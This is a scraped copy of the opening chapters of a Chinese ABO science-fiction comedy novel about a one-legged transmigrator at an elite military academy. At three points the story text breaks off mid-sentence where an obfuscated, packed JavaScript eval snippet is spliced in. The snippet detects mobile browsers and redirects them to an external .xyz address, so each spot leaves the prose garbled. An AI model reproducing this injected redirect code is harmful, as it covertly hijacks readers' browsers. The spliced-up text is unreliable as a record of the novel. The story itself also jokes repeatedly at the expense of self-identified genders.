《给ABO世界一点性别震撼!》 1. 第一章 今天是联邦各所高校开学的第一天。 在首都太阳湾,最受关注的高等学府无疑是“联邦星海军事与战略学院”,简称星海军校。 它是众多著名军事领袖和机甲战士的摇篮,其综合排名位列全国第一,无论是入学要求还是毕业难度皆遥遥领先,因此每一届新生都毫无疑问,是从联邦及各个自治星系筛选出的万里挑一的人才。 星海军校设有开学典礼。 典礼上除了人们司空见惯的军乐队和战舰编队飞行表演,最受重视的流程便是新生演讲。 这是一个以实力为尊的社会,所谓的“实力”不单指个人能力,还囊括了家庭背景与人脉等隐形因素,能够站在星海军校演讲台上的新生代表,往往被认为是本届综合实力最强的人,通常各方各面都没有短板,是传说中的六边形战士。 然而…… “今年的新生代表看上去有点面生?” 演讲才刚开始,底下的座位上就有人窃窃私语起来,“黑发黑眼,名字叫湛左。奇了怪了,姓氏也没听说过,难道他是外国留学生?” “胡扯。”旁边有人冷笑了一声,“星海军校的新生代表今晚能与内阁成员共进晚餐,一群泥腿子做梦都想获得这次接触上流社会的机会,哪个普通留学生能从这帮鬣狗嘴里分到一杯羹?” 你骂谁泥腿子呢?大家都是星海军校新生,谁比谁高贵? 这名同学刚要发火,有人扯了扯他的袖子,小声说:“算了……他可是卡戎啊,那个全家都是Alpha的卡戎家族,得罪他没好处。” 卡戎? 新生定睛一看:刚才开地图炮的人长着一头宛如狮子鬃毛般的金色短发和一双蓝灰色的眼眸,面颊线条极为锋锐。他嘴唇紧抿,双手抱胸,包裹着突出胸大肌的礼服军装上面绣着冥河摆渡人的徽章,果然是赫赫有名的卡戎家族成员。 此人名叫格兰瑟姆·卡戎,是卡戎家族的同辈中年龄最小的一位。 看清对方的身份后,新生顿时把原本要说的话咽了回去,带着余怒未消的表情讪讪转过头,假装在认真听演讲。 罢了罢了,屁民不和掌权者一般见识。 再说甭管你卡戎有多牛逼,本届新生代表不还是其他人吗? 山外有山啊! 怀着幸灾乐祸的心情,新生观察起了演讲台上那位名叫“湛左”的,在入学测评中击败了格兰瑟姆·卡戎的豪杰。而在仔细观察过后,他又有了新的发现: 湛左同学……离太远闻不到信息素是什么味,但看着不太像是Alpha。 性别难道能从长相中分辨出来吗? 通常是不行的。总有一些Alpha或Beta长得格外秀丽,也总有一些Omega或Beta长得格外英俊。 不过宇宙的局部战事持续很多年了,联邦内部军国主义盛行,民间以驾驶机甲上战场杀敌为荣,Alpha的地位也随之水涨船高,在众多Alpha中,人们尤其偏好格兰瑟姆·卡戎那样攻击性强的长相和身材,认为这种Alpha态度强硬、值得依靠,能够带领国家在战争中走向胜利。 湛左的外表绝不能说是不好看。 他个子高挑,身材瘦削,眉梢微微扬起,眼睛大而有神,给人一种过分聪明的感觉,但他的唇角又总是向上勾着,中和了那种由过高的智商与情商带来的侵略性和油滑感,反倒让人觉得他平易近人、很好相处。 总体而言是个很有辨识度的帅哥。 然而新生不喜欢他的长相。 如前文所说,大众倾向于最像“Alpha”的Alpha,湛左既没有凌厉的眉眼,也不具备传统Omega的柔美。 他该不会是个Beta吧? 可是一个Beta(或者长得像Beta的Alpha)怎么能当上星海军校的新生代表?不是说另两个性别不够优秀,但这里是为了培养前线高级军官而建立的星海军校啊! 也许他还没分化? 然而理论上所有人都会在18岁左右迎来性别的二次分化,越早分化说明天赋越好…… 这和湛左成为新生代表的结果又矛盾了。 新生匪夷所思地望着湛左,捂着额头陷入了长久的纠结。 不只是他,礼堂中的嗡嗡议论声就没断过,所有人都在琢磨湛左的来历。 演讲台上的湛左却不管这群人在想什么。 他废了九牛二虎之力成为新生代表,一是为了在人前刷个脸熟,二是为了新生代表的特殊待遇——在今天晚上和内阁大臣共进晚餐。眼下两个目的基本全都快要达成了,他的心情格外愉快,于是顺理成章地无视了别人对他的看法。 湛左偶尔会有一种迷之自负。 他认为即使是打心底里讨厌他的人,也早晚有一天会喜欢他,所以他在人际交往中尤为潇洒,从不内耗。 演讲很快就在略显无序的礼堂纪律中结束了,湛左向台下行了个标准的联邦军礼——他三天前才刚学会,将演讲稿团吧团吧扔进垃圾桶,抄起身边的手杖,撑着身体快速走下讲台。 坐在第一排的新生纷纷伸长脖子打量他,有人没忍住“啊”了一声。 湛左和蔼可亲地向出声者笑了笑。 他今天没穿军装,而是穿了一件深红色的西装,西装裤的左腿处空荡荡的,似乎不太合身。 因为他没有左腿。 裤子底下是一根细长的银白色金属杆,在他走路时,取代了人类脚掌的金属杆尖端“哒哒哒”地敲击着地面,声音清脆,怪好听的。 第一排的新生之所以叫出声,是因为没想到本届新生代表居然是个瘸子。 还是个长得不像Alpha的瘸子。 这样的人到底要怎么开着机甲上战场啊? …… 湛左以不符合瘸子行进速度的机动性,飞一样地找到了星海军校开学典礼的负责人。 对方忙得不可开交,脾气暴躁地辱骂其他学校员工: “别他妈磨磨蹭蹭的,你是身体残废了还是脑子残废了?快点把这一摞文件送到战术中心,内阁大臣马上就要到了!” “——来见我吗?”湛左双手拄着手杖殷切地问。 “你们还不如一个瘸子走得快… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203241|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …哦,是你啊。” 负责人一回头,看到湛左,不由得尴尬地停顿了几秒,“我不是说你,我的意思是,哎呀,这边太忙了,真是的,别管这群废物了,我们边走边聊,你找我有什么事?” 湛左浑不在意地重复了一遍:“内阁大臣是来见我的吗?” 负责人挠了挠头:“呀……我说我怎么好像忘了点什么,原来是忘记跟你提这件事了,真抱歉,还让你白跑一趟。大臣不是来见你的。” 听到负责人的话,湛左脸上的笑容短暂地消失了一瞬。 他的眼睛在这一刻黑沉沉的,带着具有压迫感的审视,飞快地将负责人从头扫到脚。负责人下意识地打了个哆嗦,还没反应过来,湛左重新勾起嘴角,温和地说: “您误会了,大臣日理万机,前往军校一趟肯定不是专程来见我的,不过他忙完之后,应该是会按照计划与我一起吃晚饭的吧?” “唉。”负责人回过神,沉痛地拍了拍湛左的肩膀,说道,“对不起,同学,蒋先生说他今晚没时间,见面的事就只能等以后有机会再规划了。” 什么玩意,煮熟的鸭子竟然飞了! 计划破产的湛左难以置信地问:“新生代表与内阁成员一同参加晚宴不是星海军校的传统吗?一百多年来从未有过特例!” “但是以往的新生代表和你的情况也不一样呀!” 负责人说,“你还没有分化第二性别,又大概率不是个Alpha,学校哪敢放你去见一个有妻有子、性别是Alpha的内阁大臣?万一正好赶上第一次发情期可怎么办?” 湛左:“???” 他差点被这强劲的逻辑说服了,但忽然又意识到一件事:“可是你们给我分配了学生宿舍。” 他掏出星网终端,看了眼星海军校发来的邮件:“宿舍里有两个Alpha,一个Beta……和我。这种时候你们怎么不担心我分化成Omega了?” 负责人噎了一下,说道:“学校宿舍是单人单间,只有客厅、卫生间和厨房共用,这能一样吗?” 湛左茫然地问:“我就是和内阁大臣吃顿饭,与共用厨房有什么区别?” 负责人叹了口气,一副“懂得都懂”的神情,湛左琢磨了片刻,渐渐想明白了:这是有人觉得他上不了台面,不想让他和内阁大臣见面呢。 眼看负责人满脸心虚地转身要溜,湛左冷不丁问:“拒绝我参加晚宴的人是学校高层,还是蒋嘉茂本人?” 负责人脚步顿住,底气不足地指责说:“不许直呼内阁大臣的姓名!没礼貌。而且人家也没拒绝你,是说等你分化完之后,学校再帮你联系蒋先生,你急什么?” 湛左心说我当然急。 人有三急,他急着上厕所,可是偌大一所联邦军校内部竟然没有无性别厕所,这合理吗? 他这周随机到的性别是沃尔玛购物袋啊!走进哪个卫生间都不合适,去Beta的厕所可能没问题,但严格来说,湛左生理性别不是Beta,自我认知也不是Beta。 ——向联邦政府上访、提出增加无性别厕所迫在眉睫。 2. 第二章 旁人很难理解湛左的烦恼。 因为这个世界的性别还是太单一了。 男人和女人分化成Alpha、Beta、与Omega,这样一共也就六种性别,但是在湛左穿越之前居住的地球上,人类性别的数量可以比天上的星星还要多! ——不过这些性别当然不全都是天生的。 2077年,随着核辐射影响下的性染色体突变、基因改造技术的进步、赛博义体的流行、与心理学神经科学等学科的发展等等,统治地球的各大公司一致决定全面通过《性别自我认同法》。 法案规定无论是先天的、后天改造的、还是得了赛博精神病后脑补的,总之你觉得自己是什么性别,就能去当地政府登记什么性别! 所谓的“男性”和“女性”仅仅是社会角色的产物,完全可以被科技与认知重新定义。 在不同人站在各自的立场上讨论该理论是否合理之前,首先要说明的是,我们的湛左同志是一位心胸宽广、思维灵活、不拘小节的人。 法案通过之后他的第一反应是——我是不是能借此机会薅一把医疗保险公司的羊毛了??? 毕竟每个月的商业医保支出让人入不敷出,不买付不起高昂的治疗费,买了小病不报销大病治不了,所有人都被公司玩弄于股掌之中…… 但是为了展现出一点零星的人道主义关怀,湛左的医保公司曾经宣布,他们愿意为社会中的弱势群体,例如少数性别,提供补贴。 到底啥是少数性别呢?湛左对着保险公司的300页介绍pdf研究了三天也没研究明白,只好遗憾地任由羊毛从指缝中溜走。 《性别自我认同法》出来之后,他眼前一亮,心想我要是把我自己的性别改成全球独一份,你们无论如何也得承认我是少数性别了吧? 反正改性别不花钱,湛左在下班的路上溜溜达达地路过政府部门,顺道给自己登记了新的性别:沃尔玛购物袋。 他还在申请表上认真写下了选择“沃尔玛购物袋”的理由: 购物袋很大,我也很大;购物袋能装,在下也是兼容并包、海纳百川;购物袋便宜,而我恰好命如草芥;购物袋被所有人需要着,而我希望有朝一日……成为这样的人。 他记得当时坐在办公桌后的政府工作人员对他笑,说道:“其实你不用太认真,直接花两秒钟在这签个名,身份证上的性别就换了,你写这么多我们都不看的。” 那不行,湛左一向是个做事一丝不苟的人。 大事上不拘小节,小事上一丝不苟。 他把写得满满当当的申请表交给工作人员,从对方手里接过自己的新身份证,礼貌地道了声谢,然后决定立刻回家申请医保公司的补贴。 走出政府部门的大门时,有个蓬头垢面的老爷爷凑上来询问领取养老金的步骤,湛左正打算详细地为他讲解,老爷爷忽然大叫着“缺德公司不给人留活路”并爆炸了。 湛左:…… 他认同老爷爷的观点,但直到医保过期医院放弃治疗、湛左原地等死并穿越时他都想不通,公司遭到自杀式袭击报复,为什么死的是他这个平民。 从那天起,湛左就来到了如今的ABO星际世界。 新的世界一切都很好。湛左不算胎穿,不过他穿越过来的时候,年仅七岁的原身重伤不治一命呜呼,湛左替原身活了下来,代价是少了一条腿。 少就少吧,多大点事,湛左什么没见过。 除此之外,ABO世界男人能生孩子,女人能长幻肢,2077年地球上的男人可以安装人造子宫,女人可以外接阿姆斯特朗回旋加速喷气式阿姆斯特朗炮。 ABO世界的人有信息素,2077年的地球人能喷香水。 ABO世界的Alpha有易感期,Omega有发情期,2077年的地球黑市有不少春那个药。 还是那句话,多大点事。 湛左从容地接受了新的人生和新的设定,开始为过上更好的生活而努力奋斗。 但在考上星海军校之后,他才发现有一件事他确实接受不了。 那就是……他年满18岁后分化的性别有些不同寻常,而联邦首都太阳湾居然不流行无性别厕所! 你们都已经修建四种厕所(Alpha,男Beta,女Beta,Omega)了,再修建两个所有人都能去的厕所很难吗? 总让没分化的未成年去跟本来就人口众多的Beta抢坑位也不太合适吧? 这导致每次湛左在公共场合走进卫生间时,都会油然而生出一种自己在耍流氓的尴尬感。 或许其他人看不出来也不在意,但湛左过不了自己这关。 他决定尽快说服内阁或校董,在星海军校内部进行无性别厕所的普及试点工作。 新生代表和内阁大臣的见面会是最好的机会,结果晚上的宴会竟然被人搅黄了。 学校着实可恶,本届政府的财政大臣蒋嘉茂也不无辜。 …… 湛左满腹怨气地一手拄拐、一手提着行李,来到了他未来几年即将生活的学生宿舍。 他的行李不多,因为家在首都太阳湾,离学校不远,缺什么东西随时能回家取。 星海军校的学费很高,宿舍条件相应地就很不错,如负责人所说,尽管名义上是四人间,但大家并不住在同一个屋,每名学生有单独的卧室,四个人共用公共区域,类似公寓合租。 这种情况下,宿舍成员的性别分得就不是那么细。 湛左提前得知了他有两个Alpha室友和一个Beta室友,如果他某天分化成了Omega,应该会被转移到专门的Omega宿舍区,但他的性别显然不是按照ABO走的,所以他和他的室友们大概率会长期相伴。 但愿他们能是一些好相处的正常人,虽然我本人也不是特别的正常…… 怀着这样的想法,湛左放下行李,拿门卡刷开宿舍门。 一股不容忽视的血腥味扑面而来! 湛左差点以为有人在宿舍里杀人分尸,都想偷偷关门然后拿星网终端报警了,就见一个金发碧眼、身高在一米七左右的矮个青年“嗖”地一下从客厅角落蹿了出来,伸手拦在湛左面前说: “等等,先别报警,这是舍友信息素的味道!……哦,是你啊。” 他认识湛左。 没人不认识湛左,毕竟两个小时前,湛左还站在演讲台上。 矮个青年脸上热情的笑容中多了几分古怪的神色,他盯着湛左观察半晌,目光在湛左的左腿上停留了片刻,伸出手自我介绍说: “我叫西蒙,专业是古典文学。” 嚯,军校还有古典文学专业?从哪个犄角旮旯翻出来的?涨知识了。 “湛左,学战略与星际安全。” 湛左和西蒙握了握手,后者自觉走到他身边,帮湛左这个残疾人拿行李。 凑近时湛左发觉他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203242|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有股柠檬水的味道,酸酸甜甜怪好闻的。 估计是信息素,不过信息素的气味说明不了性别,湛左只能通过西蒙的说话语气和行事风格推断他八成是个Alpha。 “其他两个室友已经到了?”湛左问。 “嗯,你来得最晚,学校是不是找你有事?新生代表嘛,待遇和我们不一样很正常。” 西蒙提着湛左的最大号行李箱吭哧吭哧地说,“我们的另外两个室友一个是Alpha,一个是Beta,你闻到的信息素味道是那个Beta的,他叫林喜,住在4号房间,天知道一个Beta为什么会有这么刺激的信息素,我已经在努力地开窗通风了。” 湛左看看客厅周围,问道:“他人呢?” “房间里呢,”西蒙努努嘴,“应该是不喜欢见人。” 好吧。 湛左无所谓地耸了下肩膀,问道:“我们的最后一位室友是谁?” 西蒙闻言,脸上古怪的笑容稍微扩大了一点:“你可能听说过他,也可能没有,但他对你印象深刻,说不定晚上睡不着觉的时候脑子里想的全是你。 “说起来,我怎么闻不到你的信息素?你是Alpha还是Beta?宿舍表上说你报考的时候还没分化第二性别,不过现在都九月份了,差不多该出结果了吧?” 塑料袋什么味我什么味。湛左面色不变,淡定地说:“你猜?” “……”西蒙沉默了一会,说,“我猜你是个Beta。” 湛左反问:“为什么?” “因为这样更有意思。”西蒙悠然说,“格兰瑟姆·卡戎就得被迫承认他不如一个Beta,并且还要和这个压在他头上成为新生代表的Beta朝夕相处好几年。如果不是Omega有单独的宿舍区,我都想猜你是个Omega了。” 好政治不正确的乐子人发言! 从2077年穿越过来的湛左不屑地撇了下嘴角。 同时他也听出了西蒙的弦外之音——最后一个室友是格兰瑟姆·卡戎?卡戎家族的卡戎? 湛左还真的听说过这个名字。和入学考试无关,他在竞技场上从来只关注自己 ,不关注别人,但卡戎家族在联邦很有名。 他们又叫金狮家族或冥河摆渡人,前者是由于发色,后者是由于家徽的形状。 而人们私底下更愿意称呼他们为“全家都是Alpha的卡戎”,或者用一种不好说是羡慕还是鄙夷的语气,叫他们“Alpha生产工厂”。 卡戎家族世世代代花高价进行基因筛查和定向培育,以确保每一名后代皆为Alpha,然而他们又勒令家族成员必须从军,因此绝大多数卡戎家族的Alpha都折在了战场上。 “生产工厂”的含义是产品数量多,结果却都是消耗品。 湛左一边回想着这些设定,一边简短地回应蒙多:“一个人的实力强弱是客观因素。 “与性别,”——尤其与湛左究竟是沃尔玛购物袋还是武装直升机,“无关”。 下一秒,只听一道冷冰冰的声音从湛左背后不远处传来:“你说谁不行?” 好大的敌意! 湛左被来自Alpha的强烈攻击性刺激得心脏重重一跳,嘴却比脑子快,没忍住开了个不合时宜的玩笑:“但这一点就和性别有关了。” 话音落下,宿舍客厅温度骤降,配合上另一名Beta室友林喜的信息素,简直仿佛刚杀完人存放尸体的冷库。 3. 第三章 西蒙饶有兴致地看看湛左,再看看格兰瑟姆·卡戎。 他开始觉得,未来几年的生活会比他预计中有趣得多了。 格兰瑟姆说实话,简单明了,和他设想中的没有太大不同,“Alpha生产工厂”生产出来的Alpha果然是流水线产品,每一根头发丝上都写满了强势、强大、傲慢、和无情,他们是被联邦输送上前线的刀,只要锋利即可,其他的特质根本无关紧要。 但湛左恰恰相反。 西蒙一眼没看透他,因为这人身上的特质太多了。他乍观上去是那种随处可见的人,外貌平平无奇……好吧也不算平平无奇,但确实不惹人注目。西蒙仔细观察了半天,才勉强承认湛左长得还算符合他的审美。 气质也不突出,彬彬有礼、不紧不慢,起初还以为是个可以随意揉捏的面团,除了爱笑没有别的优点,能当上新生代表多半说明其是个擅长考试的书呆子。 结果西蒙接下来拱火的几拳意料之外地打在了棉花上——湛左听懂了,感知到了西蒙小小的恶意,却既不生气也不担忧,只是撇了下嘴角。 西蒙敏锐地察觉到湛左的微笑当中多出了几分无聊的情绪。 这仅代表了一件事:湛左没把他放在眼里。 他的挑衅、格兰瑟姆的敌对,对湛左而言似乎不值得关注,就像仰头观察天空的喜鹊面对两只蹲在树梢上的张牙舞爪的螳螂。 可是湛左凭什么洞察这一切,又无视这一切?? 他觉得他面对格兰瑟姆·卡戎时的优势可以永远保持下去吗? ……一个人站在高位却心安理得,意味着他坚信自己的德才配得上这个位置。 在这一刻,西蒙认为他捕捉到了湛左内心深处的、和格兰瑟姆·卡戎等同乃至于更胜一筹的傲慢。 另一方面,假如湛左像旁人一样尊重或敬畏西蒙,西蒙嘴上不说,心里却会有些厌烦。 如今湛左瞧不起他、更瞧不起格兰瑟姆,他反倒觉得这个人真有意思! 值得观察的人不是比一眼看透的人好玩多了吗? ** 然而湛左的思维并没有西蒙脑补得那么复杂,也没有眼观六路、耳听八方地立刻察觉到自己柠檬室友是个抖M。 他仅仅是若有所思地注视着门口怒火中烧的格兰瑟姆·卡戎,感觉…… 这个人好像可以利用一下。 具体怎么利用他还没想好。 但反正他建立无性别厕所的希望就寄托在卡戎身上了!对方不管现在愿不愿意、最后肯定会愿意帮他的忙的! 这么一想,格兰瑟姆·卡戎打了发胶后依然能看出自来卷的金发、紧皱的眉头、呈一条直线的嘴唇、和高高在上的目光就变得讨人喜欢起来了,湛左友好地朝他微微一笑,说道: “你能不能把你手里的购物袋放下,再和我讨论行不行的问题?我有种它被你勒得难以呼吸的错觉。” 旁观的西蒙:“……” 刚去便利店买完东西的格兰瑟姆本人也是一愣,随即他眼中怒气更盛!骨节分明的手掌猛然用力,把无辜的塑料袋口攥成了一坨不可名状之物。 湛左顿时瑟缩了一下、露出牙疼的表情,就仿佛他真的感知到了疼痛似的。 西蒙和格兰瑟姆对视一眼,都有些莫名其妙。 刚才格兰瑟姆盛怒之下故意释放的Alpha信息素眼看快要把空气挤没了,连同为Alpha的西蒙都有些不适,湛左却面不改色。 眼下仅仅是折磨一个没有生命的购物袋而已,他反应怎么那么大? 湛左心想,这简直就是惨无人道的虐杀……! 想象一下哥斯拉一巴掌把人类拍成肉饼,湛左此刻便是类似的观感。 分化成沃尔玛购物袋后,他理智上知道自己是个人类,情感上却觉得自己和千千万万个购物袋融为一体、不可分割了。 所以他很理解易感期的Alpha精虫上脑、发情期的Omega难以自控。 激素真是太可怕了! 他不忍卒睹地转过头,缓了一会才又好声好气地劝道:“你先把东西放下,有话好好说。” 不愧是我自己,意志力如此坚定,在这种情况下也没说出“人质”……“袋质”两个字。 格兰瑟姆·卡戎则怀疑湛左刚才是在强撑,到现在终于撑不住了。 他不由得生出几分满意之情,心想本届的新生代表也不过如此。 枉他借口出去购买日用品、趁机托家里人调查湛左的背景。 看来对方在入学考试中战胜他不过是一次偶然,是他高估对手了。 这么想着,格兰瑟姆·卡戎怒火稍缓。他将购物袋扔到一旁,大步流星地走进客厅,端端正正地坐在沙发的正中间,面无表情地用居高临下的口吻说: “你还在磨蹭什么?过一会就要去见内阁大臣了,你有必要提前几个小时做好准备,争取给他留下好印象,免得有损星海军校的形象。” 西蒙闻言挑起眉,看热闹地转向湛左。 湛左支着拐杖,空荡荡的裤腿下面伸出一截细长的、可怜巴巴的金属义肢,他微微偏过头,犹如感觉难堪却又不愿暴露弱点似地硬邦邦地说: “我顶多有损我自己的形象,关你什么事。” 格兰瑟姆理所当然道:“不管你是谁、不管我们此前认不认识,从今往后我们在同一所学校上学,当然和我有关。” 湛左讥讽说:“不知道的还以为我们结婚了,不愧是‘Alpha工厂’生产出来的太平洋警察。” 管得真宽。 格兰瑟姆勃然作色!他没听懂“太平洋警察”是什么梗,但“Alpha工厂”几个字从小到大一直是扎在他心中的一根刺。 或许其他卡戎家族成员愿意以此为荣。 但是换成格兰瑟姆,即使别人提到这几个字时是正面态度,他也只觉得尴尬,更遑论湛左明显是在嘲讽他。 一瞬间格兰瑟姆仿佛被人扒光了衣服站在阳光底下,恼恨得无以复加!他的双手攥成拳头,几乎想要照着湛左那张苍白无力又故作镇定的脸来一拳—— 西蒙及时冲到他们中间拉架来了。 问题在于他比这俩人都矮,哪怕努力举起双手,也挡不住空气中在对视时产生的噼里啪啦的火花。 湛左能够感觉到西蒙用尽浑身解数、试图安抚住暴怒的格兰瑟姆。 “消消气,大少爷,消消气,咱们不和乡巴佬一般见识,他一会要去见内阁大臣,你等他回来再揍他也不迟……” 说话间,西蒙也是焦头烂额,完全想不通湛左激怒格兰瑟姆的目的。 你说你惹他干嘛呢?! 他原本不想插手,毕竟乐子人的精髓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203243|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是游离在战场之外旁观战局,但或许是因为他刚觉得湛左这个人有点意思,又或许湛左可怜巴巴的作态和他正常情况下波澜不惊的态度的反差有点大,实在让西蒙好奇他究竟在想什么…… 总之在反应过来以前,西蒙稀里糊涂地就冲上来了。 事后他觉得自己的行为是有道理的,格兰瑟姆就是个人形杀器,他要真往湛左身上锤了一拳,后者还能活吗? 开学第一天就要死人了! 湛左说话前也不过下脑子! 其实湛左过脑子了,只是过的方向不对—— 他看格兰瑟姆在西蒙的安抚下快要消气了,沉思片刻,夹着嗓子嗤笑一声,矫揉造作地说:“你们喜不喜欢我无所谓,只要蒋先生喜欢我就够了,要不是学校拦着我不让我见他,我还至于和你们这群人挤在一起?” “???”西蒙震惊地张开嘴,差点忘了去拦格兰瑟姆,站在原地傻乎乎地看着他。 听湛左的意思,今天晚上的宴会被取消了,然而考虑到内阁的权力地位比学校高,做出决定的人未必是学校高层,而极有可能是蒋嘉茂本人…… 湛左却“以为”蒋嘉茂会喜欢他,学校在棒打鸳鸯? 西蒙的头脑一片混乱,格兰瑟姆却很快回过神来,气得露出一个狰狞的冷笑。 他说:“你想见蒋阁下?好,我让你们见。” 身为卡戎家族的一员,制造一场偶遇还是很容易的。 “只是你不要后悔。” 蒋嘉茂今年三十三岁,十年前他就结婚了,Omega妻子为他生下一个孩子,然后没过多久便因病去世。从那时起,蒋嘉茂一直保持着单身,竞选下议院议员时还费劲苦心地营造了一个深爱亡妻的人设。 无论他是真爱还是假爱,为了选民支持率,他都不会在大庭广众下和一个刚成年的军校学生拉拉扯扯。 如果湛左硬要纠缠,只会招致内阁大臣的怒火。 那时他的下场可就不好说了。 想到这里,格兰瑟姆·卡戎顿时不急着揍人了,他更期待看到湛左美梦被打碎、遭到蒋嘉茂的责问甚至惩罚时的表情。 “去做准备吧,大臣会‘愿意’见你的。” 他不乏恶意地说完,站起身冷淡地扫了一眼西蒙,快步走回了卧室。 开学第一天被迫得罪室友的西蒙:“……” 他无语地回头看向湛左,正要发火质问湛左脑子有什么毛病,却见湛左收起了从狗血剧里一比一复刻的自命不凡的姿态,露出了一个显得温和而明智的微笑。 这笑容让他看起来像那种随时会说出醒世哲言的人生导师:“卡戎家族人挺好的,民间对他们的评价其实多少有些刻薄了。” 西蒙:“……” 你说得对……等等,不对,啊? 湛左迈着欢快的步伐拎起行李,对他说:“也多谢你刚才帮忙劝架,要不是你,我这会就得躺在地上了。” 西蒙还懵逼着,听到这话下意识地嘲讽他:“你也知道没有我你会挨揍?” “不。”湛左一面推开卧室的门,一面头也不回地说,“没有你的话,为了保命,我会主动倒地抱着腿碰瓷。” 不过西蒙同学“出乎意料”地“乐于助人”,帮湛左省略了一个步骤。 Alpha的保护欲啊…… 妙。 4. 第四章 格兰瑟姆很想立刻见到湛左翻车。 ——湛左果然如西蒙所说,令他辗转反侧、寤寐思服。 但是本届政府的财政大臣蒋嘉茂正忙着,格兰瑟姆就算是卡戎家族的当家人,也不可能让对方为他空出见面时间,更何况他只是卡戎家的小辈,不过勉强能打听到蒋嘉茂的行程、然后替湛左安排“偶遇”罢了。 回到寝室后,格兰瑟姆又偷偷用星网终端联系了之前负责调查湛左背景的、算是为卡戎家工作的私家侦探。 【李五。】 【小少爷,我正在为您调查您的室友呢,有什么事?】 格兰瑟姆:【别那么叫我。调查出结果了吗?】 【哪有那么快?】 远方的私家侦探心不在焉地抽着烟,一只手滑动着电脑光标,另一只手在终端上打字,【能考上星海军校的肯定不是普通人,不过不用担心,我绝对为您查个底朝天,连他的祖宗八代都知道得清清楚楚。】 格兰瑟姆:【不用祖宗八代,告诉我他是怎么当上新生代表的就行。另外再帮我一个忙,财政大臣蒋嘉茂推掉了和新生代表的晚宴,他今天来没来学校?】 李五差点被嘴里的烟气呛到:【您要让我去跟踪内阁大臣?您也太看得起我了吧?】 格兰瑟姆:【不是让你跟踪他,我只是想安排湛左与他见一面,你能查到他现在在哪吗?】 李五读完屏幕上的文字,挠了挠头。 半晌,他掐掉烟,站起身,走出工作间,掏出另一台终端,给卡戎家的当家人、也即格兰瑟姆的母亲打了个电话。 “小少爷他在学校里和人起了冲突……他向我打听蒋嘉茂蒋先生的下落……嗯嗯,我明白,事关联邦内部的军事机密、我不会说太多的……好,我这就给他回消息。” 简单地与上级沟通完,李五换回之前的终端,给格兰瑟姆发送了一条短信: 【蒋先生在星海军校,但他没有前往教学区,而是去了军事战术中心。】 星海军校之所以稳坐联邦大学的第一把交椅,除了教学质量高之外,还有一个极其重要的因素。 那就是位于学校内部的军事战术中心,真的能够凭借高超的技术与理论左右战争局势。 换句话说,它们相当于是前线与后方之间的战略大脑。 军队或内阁中的大人物常常走特殊路线出入战术中心,偶尔战局紧张时,连执政官本人都会到这转一转。 因此星海军校战术中心的民间地位十分神圣,并不是普通学生能去的地方。 李五在发送给格兰瑟姆的短信中,点出蒋嘉茂在战术中心,潜台词就是:别深究财政大臣来学校的目的——那不是你该知道的事。 不管你和你的室友有什么恩怨,都等大臣忙完国家大事再说。 ** 格兰瑟姆急着看湛左的笑话,但湛左已经不急着见蒋嘉茂了。 俗话说罗马不是一天建成的,无性别厕所怎么不是一种罗马呢? 种子已经撒下去了,只等着它们破土而出的一天,而除了建厕所之外,湛左还有很多事要做。 毕竟他是个刚入学的大学生。 星海军校的课程安排很紧,明天白天就要上课了,而湛左需要收拾宿舍、查看课程要求、备齐专业课需要的书本材料…… 光是第一项就不容易。湛左两辈子没学过整理房间,上辈子是因为露宿街头所以不需要,这辈子是因为有人伺候所以不需要。 这时可能有人要问了,湛左湛左,你是背叛了我们无产阶级,穿越成了大户人家的少爷吗? 湛左的答案是,是,也不是。 情况很复杂,一言难以蔽之。 起个比较有故事性的开头便是——其实他不是联邦人。 除了联邦,世上还有哪个国家? 很多,多得数不清。 星际世界的国际关系很混乱,如果要说清楚一个国家为什么会这样那样,怕不是要从创世神开天辟地开始讲起。 湛左的历史成绩不好不坏,比起历史,他更加关注现在。 当今宇宙中由人类统治的区域,总共有两个超级大国,就像许多星际小说里写的那样,其中一个是帝国,另一个是联邦。 帝国与联邦在百年前亲如一家,或者说就是一家——史书上说很久以前,帝国和联邦的前身是一个统一的星际国家,后来由于意识形态冲突与经济利益纠纷,部分行星国家爆发革命,推翻君主制,成立了议会制政体。 这就是联邦的前身。 剩下的核心行星则维持着皇帝与中央集权,逐渐形成了现代的帝国。 两国在分裂后的几个世纪里,爆发过多轮星际规模的战争。俗话说聚是一团火,散是满天星,打着打着,又有一些小国从边境地区稀里哗啦地掉落出来宣布独立。 最后就变成了两强多弱的局面。 这也是联邦明明没有皇帝只有执政官,内阁中各个部门的掌权者却被称为“大臣”的原因。 都是历史遗留的产物。 啰嗦这么多背景知识,是为了说明湛左的人生经历实际上和联邦建国的历程有点类似。 ——七岁以前,这具身体是个帝国人。 